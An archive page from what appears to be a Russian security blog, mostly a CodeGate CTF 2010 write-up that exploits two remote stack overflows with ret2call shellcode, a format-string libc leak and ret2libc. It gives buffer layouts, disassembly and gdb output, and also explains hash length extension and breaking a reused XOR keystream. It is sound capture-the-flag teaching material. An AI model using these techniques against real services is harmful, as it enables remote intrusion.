March 2010 Archives

Сегодня пришло приглашение на World Congress of Virus and Infections-2010

Сначала подумал, что корейцы / китайцы захватывают мир и проводят международные конференции по компьютерной вирусологии. Но программа конференции как бы намекает на медицину / биологию / химию. Интересно, какое отношение они имеют ко мне, а я - к ним...

На прошедших CodeGate CTF 2010 была пара заданий на удаленное переполнение стека: один и два. Код этих обоих модулей одинаков - вывод строки 'Input:', чтение ввода с помощью getline и memcpy прочитанного в стековый буфер. Работу с сетью обеспечивает xinetd. Различны только данные заголовков:

C:\>readelf -l easy | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4
C:\>readelf -l harder | grep -i stack
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4

Займемся easy.
Функция с говорящим названием func содержит вызов того самого memcpy в буфер размером 0x108 (0xfffffef8):
080484e4 <func>:
 80484e4:    55                       push   %ebp
 80484e5:    89 e5                    mov    %esp,%ebp
 80484e7:    81 ec 18 01 00 00        sub    $0x118,%esp
 80484ed:    8b 45 0c                 mov    0xc(%ebp),%eax
 80484f0:    89 44 24 08              mov    %eax,0x8(%esp)
 80484f4:    8b 45 08                 mov    0x8(%ebp),%eax
 80484f7:    89 44 24 04              mov    %eax,0x4(%esp)
 80484fb:    8d 85 f8 fe ff ff        lea    0xfffffef8(%ebp),%eax
 8048501:    89 04 24                 mov    %eax,(%esp)
 8048504:    e8 ef fe ff ff           call   80483f8 
 8048509:    c9                       leave  
 804850a:    c3                       ret    
Подозревая kernel.randomize_va_space != 0 (что в последствии подтвердилось) и учитывая, что после memcpy EAX указывает на наш стековый буфер, ищем подходящее место для передачи управления после затирания адреса возврата:
080484c0 <frame_dummy>:
 80484c0:    55                       push   %ebp
                                               ...
 80484df:    ff d0                    call   *%eax
 80484e1:    c9                       leave  
 80484e2:    c3                       ret    
 80484e3:    90                       nop    
Берем подходящий шелл-код, например, такой и формируем буфер:
| Shellcode + Padding | 0xABABABAB | 0x080484DF | 0x0D + 0x0A |
| ----0x108 bytes---- |  fake EBP  |ret2call EAX|  endline

Отправляем, коннектимся на указанный в шелл-коде порт, имеем удаленную командную строку, cat /home/easy/flag.txt, флаг получен.

Harder. Используем ret2libc, чтобы выполнить system("sh"). Строку "sh" можно взять из образа от имени функции fflush по адресу 0x080482b9. Чтобы найти адрес system() в libc используем уязвимость форматной строки: переполняем буфер строкой "%x" длиной 0x108 и адресом возврата 0x08048521:
08048521:    89 04 24                 mov    %eax,(%esp)
08048524:    e8 df fe ff ff           call   8048408 <printf@plt>
И соответствующий буфер:
| %x 0x108 bytes | 0xABABABAB | 0x08048521 |
и анализируем стек (показаны результаты трех запусков):
00000113 00000113 00000113
008fe420 0079b420 004b8420
bfba2468 bfb91c18 bf8128c8
007ec345 00689345 003a6345
00a00d20 002c8d20 005e1d20
00000113 00000113 00000113
09420008 09f31008 09238008
08048590 08048590 08048590
Теперь запускаем локально harder в gdb и изучим стек в окрестностях вызова printf:
Breakpoint 2, 0x08048524 in main ()
(gdb) x/16a $esp
0xbffffe00:     0x08048640
0xbffffe04:     0xb7fcdff4
0xbffffe08:     0x08048590 <__libc_csu_init>
0xbffffe0c:     0xbffffe28
0xbffffe10:     0xb7ebc345 <__cxa_atexit+53>
0xbffffe14:     0xb7ff0d20
0xbffffe18:     0x0804859b <__libc_csu_init+11>
0xbffffe1c:     0x00000000
0xbffffe20:     0x08048590 <__libc_csu_init>
0xbffffe24:     0x00000000
0xbffffe28:     0xbffffea8
0xbffffe2c:     0xb7ea3b56 <__libc_start_main+230>
0xbffffe30:     0x00000001
0xbffffe34:     0xbffffed4
0xbffffe38:     0xbffffedc
0xbffffe3c:     0xb7fe1858
Особо интересны значения над 0xbffffe20: gdb подсказывает, что 0xb7ebc345 принадлежит libc, как вероятно, 0xb7ff0d20. Учитывая, что libc грузится в память с выравниванием в одну страницу, находим в сдампленном стеке похожие значения: 007ec345 и 00a00d20. Это говорит, что старший байт адреса у harder, запущенного под xinetd нулевой. Далее, грузим harder в gdb так, чтобы libc оказалось по адресам с нулевым старшим байтом и узнаем адрес system() - на удаленной машине с harder это условие выполнялось автоматически:
(gdb) b *main
Breakpoint 1 at 0x804850b
(gdb) r
Starting program: /tmp/harder

Breakpoint 1, 0x0804850b in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x00149020 <system>
Теперь формируем буфер и отправляем его уязвимой программе до тех пор, пока адреса загрузки libc в не совпадут: Как показала практика, совпадение происходит со 2-20 попытки:
| buffer 0x108 bytes | 0xABABABAB | 0x00149020 | 0xCDCDCDCD | 0x080482b9 |
Здесь 0xCDCDCDCD используется вместо адреса возврата для system(), который ждет параметр по адресу [esp+4]. После отправки эксплоита шлем в сокет "cat /home/harder/flag.txt\n", считываем ответ, флаг получен. Здесь описано несколько иное решение той же задачи.

UPD: Реализация удаленной командной строки через переполнение: easy.pl, harder.pl

Многие популярные хеши, такие как MD5, SHA0, SHA1, SHA2 построены на общем принципе, односторонней функции сжатия Меркле-Дамгарда. Для того чтобы функция имела возможность принимать на вход данные любого размера, они выравниваются таким образом, чтобы их размер был сравним с 448 по модулю 512. Процесс выравнивания выглядит так - к входным данным дописывается единичный бит, оставшиеся биты устанавливаются в 0, а последние 64 устанавливаются в длину сообщения. Основываясь на этой особенности данного семейства хешей , атакующий может провести так называемую length extension attack. Атака заключается в том, что для заданной H(p||m) можно вычислить H(p||m||pad(p||m)||m') зная только m и длину p. Для этого мы инициализируем хеш функцию заданным значением, затем вычисляем и добавляем padding, после этого считаем хеш от m+padding+m', результат будет эквивалентен H(p||m||pad(p||m)||m').
Пример реализации данной атаки для SHA1 прилагается.

Мне иногда не хватает под рукой генератора паролей pwgen из портов OpenBSD, гугл правда подсказывает, что и в других осях пакет также имеется, но не об этом.
Интереса ради, реализовал подобный функционал на Google APP Engine. Чем pwgen отличается от других генераторов? Основное плюс в том, что при генерации паролей учитывается фонетическая сочетаемость соседних букв, что значительно увеличивает запоминаемость пароля. Из стандартных рюшечек присутствует чекбоксы: capitalize, numerals, completely random. Генерируются сразу пару десятков паролей, поэтому можно выбрать любой понравившийся.
Собственно, сабж: secureitfor.me

13 марта в 0:00 AM(GMT) начнутся отборочные Codegate CTF. Соревнования будут проходить online и продлятся 36 часов. Задания проходятся последовательно, количество зданий ~10. Восемь лучших команд будут приглашены на очный финал, который состоится 7 апреля в Южной Корее. Как показывает практика прошлых лет, задания будут интересными и сложными. Подробнее об условиях.

Если открыть предложенную программу в декомпиляторе(.NET Reflector), видим следующее:
reflector.gif
Яркий пример неправильного использования криптоалгоритмов, вместо стойкого Rijndael используется сложение по модулю два с результатом шифрования переменной, которая передается в программу для использования в качестве IV. Как мы знаем, шифрование с помощью операции XOR обладает абсолютной стойкостью только при условии однократного использование ключа большей или равной длины чем шифротекст итд. Если один и тот же ключ используется дважды, то атакующий может его найти.
Изучив формат транзакции мы видим, что она состоит из блоков размером 16 байт, а 3, 5 итд блоки содержат информацию о сумме транзакции, которая имеет четкую структуру.
Обозначим функцию шифрования Rijndael как F(x), тогда ключем для XOR в первом блоке будет F(x), во втором F(F(x)) итд.
Сравнивая результат двукратного F(x) от побайтного XOR перебираемого значения информации о сумме транзакции и 3 блока данных в качестве ключа с имеющимися шаблонами данных имеем возможность найти ключ XOR, а затем и параметр "IV". Пример реализации решения прилагается. Возможно задачу можно было решить более эффективно, хотелось бы услышать варианты.

About this Archive

This page is an archive of entries from March 2010 listed from newest to oldest.

February 2010 is the previous archive.

April 2010 is the next archive.

Find recent content on the main index or look in the archives to find all content.